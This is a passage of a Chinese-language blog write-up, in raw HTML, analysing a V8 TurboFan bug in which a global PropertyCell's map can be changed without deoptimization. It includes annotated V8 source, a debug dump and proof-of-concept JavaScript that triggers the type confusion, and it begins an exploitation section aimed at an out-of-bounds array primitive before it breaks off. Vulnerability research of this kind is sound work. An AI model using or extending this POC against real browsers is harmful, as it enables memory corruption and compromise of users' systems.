url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ib9Sb5VNvaCcy1XwDRGgQ0cgP5f5WBajtRDbB84Ff1vzxpghLgCPttdUwwic1CZ85YJZx8dBce3OtNhLJ7RLqicjjM/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #c678dd;line-height: 26px;">var</span> a;<br/><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">function</span> <span style="color: #61aeee;line-height: 26px;">foo</span>(<span style="line-height: 26px;"></span>) </span>{<br/>    a = <span style="color: #c678dd;line-height: 26px;">new</span> <span style="color: #e6c07b;line-height: 26px;">Uint32Array</span>(<span style="color: #d19a66;line-height: 26px;">100</span>);<br/>}<br/>%PrepareFunctionForOptimization(foo);<br/>foo();<br/>foo();<br/>a[<span style="color: #98c379;line-height: 26px;">&#34;xxx&#34;</span>] =<span style="color: #d19a66;line-height: 26px;">1</span>;<br/><span style="color: #c678dd;line-height: 26px;">delete</span> a[<span style="color: #98c379;line-height: 26px;">&#34;xxx&#34;</span>];<br/>%OptimizeFunctionOnNextCall(foo);<br/>foo();<br/></code></pre><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 20px;"><span style="display: none;"></span>IR NODES<span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">执行POC，通过 --trace-turbo 可以看到 经过inlining阶段 <code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">JSStoreGlobal</code> 被lowerring</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">inlining阶段前：<img class="rich_pages wxw-img" data-ratio="0.40240641711229946" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="748" src="https://wechat2rss.xlab.app/img-proxy/?k=0b1c3ee5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD6sreM32aljicAYicEeicUWBMb3AH8EC6RLAvGxdZCz4SJON1a6MabQuRqz9FcILJGgxYbeWzHaSibarA%2F640%3Fwx_fmt%3Dpng"/>JSStoreGlobal被lowerring：<img class="rich_pages wxw-img" data-ratio="0.5979142526071842" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="863" src="https://wechat2rss.xlab.app/img-proxy/?k=2b28d04c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD6sreM32aljicAYicEeicUWBMb0ohYTyzicPL1lLQpLk1NCfOCoU0dTv0B93uTZDib1paicO06yFZrfdj6Q%2F640%3Fwx_fmt%3Dpng"/></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">此时 <code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">a</code> 的map不稳定且 <code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">cell_type</code> 值为 <code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">ConstantType</code>：</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ib9Sb5VNvaCcy1XwDRGgQ0cgP5f5WBajtRDbB84Ff1vzxpghLgCPttdUwwic1CZ85YJZx8dBce3OtNhLJ7RLqicjjM/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">0x359108293465: [PropertyCell] in OldSpace<br/> - map: 0x359108002671 &lt;Map[20]&gt;<br/> - name: 0x35910808ee01: [String] in ReadOnlySpace: #a<br/> - value: 0x359108109b9d &lt;Uint32Array map = 0x3591082c3181&gt;<br/> - details: (data, dict_index: 81, attrs: [WE_])<br/> - cell_type: ConstantType<br/></code></pre><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 20px;"><span style="display: none;"></span>关键代码<span style="display: none;"></span></h3><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ib9Sb5VNvaCcy1XwDRGgQ0cgP5f5WBajtRDbB84Ff1vzxpghLgCPttdUwwic1CZ85YJZx8dBce3OtNhLJ7RLqicjjM/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="line-height: 26px;">Reduction <span style="color: #61aeee;line-height: 26px;">JSNativeContextSpecialization::ReduceGlobalAccess</span><span style="line-height: 26px;">(<br/>    Node* node, Node* lookup_start_object, Node* receiver, Node* value,<br/>    NameRef <span style="color: #c678dd;line-height: 26px;">const</span>&amp; name, AccessMode access_mode, Node* key,<br/>    PropertyCellRef <span style="color: #c678dd;line-height: 26px;">const</span>&amp; property_cell, Node* effect)</span> </span>{<br/> <br/>  ...<br/> <br/>  <span style="color: #5c6370;font-style: italic;line-height: 26px;">// We have additional constraints for stores.</span><br/>  <span style="color: #c678dd;line-height: 26px;">if</span> (access_mode == AccessMode::kStore) {<br/>    DCHECK_EQ(receiver, lookup_start_object);<br/>    <span style="color: #c678dd;line-height: 26px;">if</span> (property_details.IsReadOnly()) {<br/>      <span style="color: #5c6370;font-style: italic;line-height: 26px;">// Don&#39;t even bother trying to lower stores to read-only data properties.</span><br/>      <span style="color: #5c6370;font-style: italic;line-height: 26px;">// TODO(neis): We could generate code that checks if the new value equals</span><br/>      <span style="color: #5c6370;font-style: italic;line-height: 26px;">// the old one and then does nothing or deopts, respectively.</span><br/>      <span style="color: #c678dd;line-height: 26px;">return</span> NoChange();<br/>    } <span style="color: #c678dd;line-height: 26px;">else</span> <span style="color: #c678dd;line-height: 26px;">if</span> (property_cell_type == PropertyCellType::kUndefined) {<br/>      <span style="color: #c678dd;line-height: 26px;">return</span> NoChange();<br/>    }<br/>  } <span style="color: #c678dd;line-height: 26px;">else</span> <span style="color: #c678dd;line-height: 26px;">if</span> (access_mode == AccessMode::kHas) {<br/>    ...<br/>  }<br/> <br/>  <span style="color: #c678dd;line-height: 26px;">if</span> (access_mode == AccessMode::kLoad || access_mode == AccessMode::kHas) {<br/>    ...<br/>  } <span style="color: #c678dd;line-height: 26px;">else</span> {<br/>    ...<br/>    <span style="color: #c678dd;line-height: 26px;">switch</span> (property_details.cell_type()) {<br/>      <span style="color: #c678dd;line-height: 26px;">case</span> PropertyCellType::kConstant: {<br/>        ...<br/>      }<br/>      <span style="color: #c678dd;line-height: 26px;">case</span> PropertyCellType::kConstantType: {<br/>        <span style="color: #5c6370;font-style: italic;line-height: 26px;">// Record a code dependency on the cell, and just deoptimize if the new</span><br/>        <span style="color: #5c6370;font-style: italic;line-height: 26px;">// value&#39;s type doesn&#39;t match the type of the previous value in the</span><br/>        <span style="color: #5c6370;font-style: italic;line-height: 26px;">// cell.</span><br/>        dependencies()-&gt;DependOnGlobalProperty(property_cell);     &lt;------------------ [<span style="color: #d19a66;line-height: 26px;">1</span>]<br/>        Type property_cell_value_type;<br/>        MachineRepresentation representation = MachineRepresentation::kTagged;<br/>        ...<br/>          MapRef property_cell_value_map =<br/>              property_cell_value.AsHeapObject().<span style="color: #e6c07b;line-height: 26px;">map</span>();<br/>          <span style="color: #c678dd;line-height: 26px;">if</span> (property_cell_value_map.is_stable()) {<br/>            dependencies()-&gt;DependOnStableMap(property_cell_value_map);     &lt;-------------------- [<span style="color: #d19a66;line-height: 26px;">2</span>]<br/>          } <span style="color: #c678dd;line-height: 26px;">else</span> {<br/>            <span style="color: #5c6370;font-style: italic;line-height: 26px;">// The value&#39;s map is already unstable. If this store were to go</span><br/>            <span style="color: #5c6370;font-style: italic;line-height: 26px;">// through the C++ runtime, it would transition the PropertyCell to</span><br/>            <span style="color: #5c6370;font-style: italic;line-height: 26px;">// kMutable. We don&#39;t want to change the cell type from generated</span><br/>            <span style="color: #5c6370;font-style: italic;line-height: 26px;">// code (to simplify concurrent heap access), however, so we keep</span><br/>            <span style="color: #5c6370;font-style: italic;line-height: 26px;">// it as kConstantType and do the store anyways (if the new value&#39;s</span><br/>            <span style="color: #5c6370;font-style: italic;line-height: 26px;">// map matches). This is safe because it merely prolongs the limbo</span><br/>            <span style="color: #5c6370;font-style: italic;line-height: 26px;">// state that we are in already.</span><br/>          }<br/> <br/>          <span style="color: #5c6370;font-style: italic;line-height: 26px;">// Check that the {value} is a HeapObject.</span><br/>          value = effect = graph()-&gt;NewNode(simplified()-&gt;CheckHeapObject(),  <br/>                                            value, effect, control);          &lt;---------------------- [<span style="color: #d19a66;line-height: 26px;">3</span>]<br/>          <span style="color: #5c6370;font-style: italic;line-height: 26px;">// Check {value} map against the {property_cell_value} map.</span><br/>          effect = graph()-&gt;NewNode(<br/>              simplified()-&gt;CheckMaps(<br/>                  CheckMapsFlag::kNone,<br/>                  ZoneHandleSet&lt;Map&gt;(property_cell_value_map.object())),<br/>              value, effect, control);<br/>          property_cell_value_type = Type::OtherInternal();<br/>          representation = MachineRepresentation::kTaggedPointer;<br/>        ...<br/>        effect = graph()-&gt;NewNode(simplified()-&gt;StoreField(ForPropertyCellValue(<br/>                                      representation, property_cell_value_type,<br/>                                      MaybeHandle&lt;Map&gt;(), name)),<br/>                                  jsgraph()-&gt;Constant(property_cell), value,<br/>                                  effect, control);<br/>        <span style="color: #c678dd;line-height: 26px;">break</span>;<br/>      }<br/>      ...<br/>    }<br/>  }<br/> <br/>  ReplaceWithValue(node, value, effect, control);<br/>  <span style="color: #c678dd;line-height: 26px;">return</span> Replace(value);<br/>}<br/></code></pre><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 18px;"><span style="display: none;"></span>基于假设的优化<span style="display: none;"></span></h4><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">对于全局变量的写入操作（access_mode == AccessMode::kStore），该函数会根据PropertyCellType（switch...case...）进行基于假设的优化。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">当cell_type为ConstantType时，该函数首先在<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">[1]</code>处设置一个dependency（DependOnGlobalProperty），假设cell type没有发生改变。接下来会判断对象的map是否为stable。对于stable map，会在<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">[2]</code>处再设置一个dependency（DependOnStableMap），假设map保持stable状。对于unstable map则不做更多的假设。然后还会在<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">[3]</code>处插入一个检查节点 CheckMaps，在JIT CODE执行时检查value（新值）的map是否与PropertyCell中value的map相同（eager deoptimization）。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">简单概括一下，PropertyCell的类型为ConstantType且对象拥有 unstable map时，<strong>Turbofan假设PropertyCellType不发生改变且新值的map与PropertyCell中记录的旧值map相同</strong>，对这个JSGlobalStore进行Lowering。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">（如果不满足 additional constraints for stores 会提前返回，不考虑优化这个写入操作）。</p><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 18px;"><span style="display: none;"></span>改变对象的map<span style="display: none;"></span></h4><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">如果通过常规的赋值方式改变对象的map，由于操作<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">[1]</code>设置了DependOnGlobalProperty，由于外部代码使PropertyCellType发生改变会触发lazy deoptimization。如果传入一个不同map的对象通过optimized code进行赋值操作，无法通过JIT代码运行时的检查 <code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">[3]</code>，发生eager deoptimization。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">看起来我们好像没有办法在不引起解优化的前提下改变这个全局对象的map。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">但我们可以构造一个JIT优化代码，对一个持有<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">unstable map</code>的对象重新赋值（写入PropertyCell）且<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">PropertyCellType</code> 仍为 <code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">kConstantType</code>，只要新值的map能符合要求。</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ib9Sb5VNvaCcy1XwDRGgQ0cgP5f5WBajtRDbB84Ff1vzxpghLgCPttdUwwic1CZ85YJZx8dBce3OtNhLJ7RLqicjjM/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #c678dd;line-height: 26px;">var</span> x = {<span style="color: #d19a66;line-height: 26px;">a</span> : <span style="color: #d19a66;line-height: 26px;">1</span>};  <span style="color: #5c6370;font-style: italic;line-height: 26px;">//&lt;---- x has MapA</span><br/><span style="color: #c678dd;line-height: 26px;">var</span> o = {<span style="color: #d19a66;line-height: 26px;">a</span> : <span style="color: #d19a66;line-height: 26px;">2</span>};  <span style="color: #5c6370;font-style: italic;line-height: 26px;">//&lt;---- o has MapA</span><br/><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">function</span> <span style="color: #61aeee;line-height: 26px;">foo</span>(<span style="line-height: 26px;">y</span>) </span>{<br/>  x = y;<br/>}<br/>... <span style="color: #5c6370;font-style: italic;line-height: 26px;">//MapA becomes unstable, foo gets optimized</span><br/>foo(o);   <span style="color: #5c6370;font-style: italic;line-height: 26px;">//value of x change to o, map remains the same</span><br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">此处只要o的map类型与x一致，就能通过JIT代码运行时的检查（ <code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">[3]</code>处，JIT假设与旧值map一致）。</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ib9Sb5VNvaCcy1XwDRGgQ0cgP5f5WBajtRDbB84Ff1vzxpghLgCPttdUwwic1CZ85YJZx8dBce3OtNhLJ7RLqicjjM/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #c678dd;line-height: 26px;">var</span> x = {<span style="color: #d19a66;line-height: 26px;">a</span> : <span style="color: #d19a66;line-height: 26px;">1</span>};  <span style="color: #5c6370;font-style: italic;line-height: 26px;">//&lt;---- x has MapA</span><br/><span style="color: #c678dd;line-height: 26px;">var</span> o = {<span style="color: #d19a66;line-height: 26px;">a</span> : <span style="color: #d19a66;line-height: 26px;">2</span>};  <span style="color: #5c6370;font-style: italic;line-height: 26px;">//&lt;---- o has MapA</span><br/><span style="color: #c678dd;line-height: 26px;">var</span> z = {<span style="color: #d19a66;line-height: 26px;">a</span> : <span style="color: #d19a66;line-height: 26px;">3</span>};  <span style="color: #5c6370;font-style: italic;line-height: 26px;">//&lt;---- z has MapA</span><br/><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">function</span> <span style="color: #61aeee;line-height: 26px;">foo</span>(<span style="line-height: 26px;">y</span>) </span>{<br/>  x = y;<br/>}<br/>z.b = <span style="color: #d19a66;line-height: 26px;">1</span>;  <span style="color: #5c6370;font-style: italic;line-height: 26px;">//MapA becomes unstable</span><br/>...<span style="color: #5c6370;font-style: italic;line-height: 26px;">//optimize foo</span><br/>x.b = <span style="color: #d19a66;line-height: 26px;">1</span>; <span style="color: #5c6370;font-style: italic;line-height: 26px;">//value of x is now {a : 1, b: 1} and has MapB, still ConstantType, MapB stable</span><br/>foo(o);   <span style="color: #5c6370;font-style: italic;line-height: 26px;">//value of x change to o, map changes back to MapA, still ConstantType</span><br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">在漏洞版本中，因为foo函数优化时MapA是<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">unstable map</code>，JIT没有对map做任何假设（若为<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">stable map</code>,<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">[2]</code>处会增设<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">DependOnStableMap</code>），所以不会触发<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">lazy deoptimization</code>，即在不引起解优化的同时使<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">x</code>的map变成<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">MapB</code>。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">通过JIT优化函数foo，我们可以将x的map从MapB更改回MapA，而无需通过*通用路径(generic path)*重新赋值x（不经过<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">PropertyCell::UpdatedType</code>）或使MapB变为unstable。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">许多优化的代码依赖于这样一个事实: 变量的map不能改变，除非通过同意路径重新赋值或者使其map变为unstable。<br/>因此，通过使用优化的函数 foo 将 x 的map恢复到以前的状态(mapA) ，任何此类优化代码的假设都不再成立，可造成类型混淆。</p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 20px;"><span style="display: none;"></span>利用<span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">通过JIT优化函数foo，将x的map从MapB更改回MapA，无需通过*通用路径(generic path)*重新赋值x（不经过<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">PropertyCell::UpdatedType</code>）或使MapB变为unstable。</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ib9Sb5VNvaCcy1XwDRGgQ0cgP5f5WBajtRDbB84Ff1vzxpghLgCPttdUwwic1CZ85YJZx8dBce3OtNhLJ7RLqicjjM/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #5c6370;font-style: italic;line-height: 26px;">// commit 62ed75a1d26932754ffcaef2db7c4ce2b0b5737e  </span><br/> <br/><span style="color: #c678dd;line-height: 26px;">var</span> a1 = {<span style="color: #d19a66;line-height: 26px;">a</span>:<span style="color: #d19a66;line-height: 26px;">1</span>};<br/><span style="color: #c678dd;line-height: 26px;">var</span> a2 = {<span style="color: #d19a66;line-height: 26px;">a</span>:<span style="color: #d19a66;line-height: 26px;">2</span>};<br/><span style="color: #c678dd;line-height: 26px;">var</span> a3 = {<span style="color: #d19a66;line-height: 26px;">a</span>:<span style="color: #d19a66;line-height: 26px;">3</span>};<br/><span style="color: #c678dd;line-height: 26px;">var</span> x = {<span style="color: #d19a66;line-height: 26px;">a</span>:<span style="color: #d19a66;line-height: 26px;">0</span>}; <span style="color: #5c6370;font-style: italic;line-height: 26px;">// has mapA, Constant</span><br/> <br/><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">function</span> <span style="color: #61aeee;line-height: 26px;">foo</span>(<span style="line-height: 26px;">y,flag</span>) </span>{<br/>  <span style="color: #c678dd;line-height: 26px;">for</span> (<span style="color: #c678dd;line-height: 26px;">let</span> i = <span style="color: #d19a66;line-height: 26px;">0</span>; i &lt; <span style="color: #d19a66;line-height: 26px;">0x200</span>; ++i) {<br/>      ++i;<br/>  }<br/>  <span style="color: #c678dd;line-height: 26px;">if</span>(flag) x=y;<br/>}<br/> <br/>foo(a1,<span style="color: #56b6c2;line-height: 26px;">true</span>); <span style="color: #5c6370;font-style: italic;line-height: 26px;">// x: mapA, ConstantType</span><br/>  <br/>a2.b=<span style="color: #d19a66;line-height: 26px;">1</span>; <span style="color: #5c6370;font-style: italic;line-height: 26px;">// a2 has MapB, MapA becomes unstable</span><br/> <br/><span style="color: #c678dd;line-height: 26px;">for</span>(<span style="color: #c678dd;line-height: 26px;">let</span> i=<span style="color: #d19a66;line-height: 26px;">0</span>;i&lt;<span style="color: #d19a66;line-height: 26px;">0x3000</span>;++i) foo(a1,<span style="color: #56b6c2;line-height: 26px;">false</span>); <span style="color: #5c6370;font-style: italic;line-height: 26px;">//Optimization</span><br/> <br/>x.b=<span style="color: #d19a66;line-height: 26px;">1</span>; <span style="color: #5c6370;font-style: italic;line-height: 26px;">// x-&gt;mapB, ConstantType</span><br/>foo(a3,<span style="color: #56b6c2;line-height: 26px;">true</span>); <span style="color: #5c6370;font-style: italic;line-height: 26px;">// value of x change to o, map changes back to MapA, still ConstantType</span><br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">混淆smi数组与double数组，进一步构造oob原语。因为SMI向DOUBLE的转换比较频繁，SMI数组在创建时就已经设置了transition信息，且持有unstable map（HOLEY_ELEMENTS除外），把它保存到一个全局变量中会经过<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">PropertyCell::UpdatedType</code>，把<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">PropertyCellType</code>更新为<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">kMutable</code>。<br/>所以我们需要通过一些方法创建一个持有<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">stable map</code>的SMI数组。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">例如</p><pre data-tool="mdnice编辑器" style="margin-top: 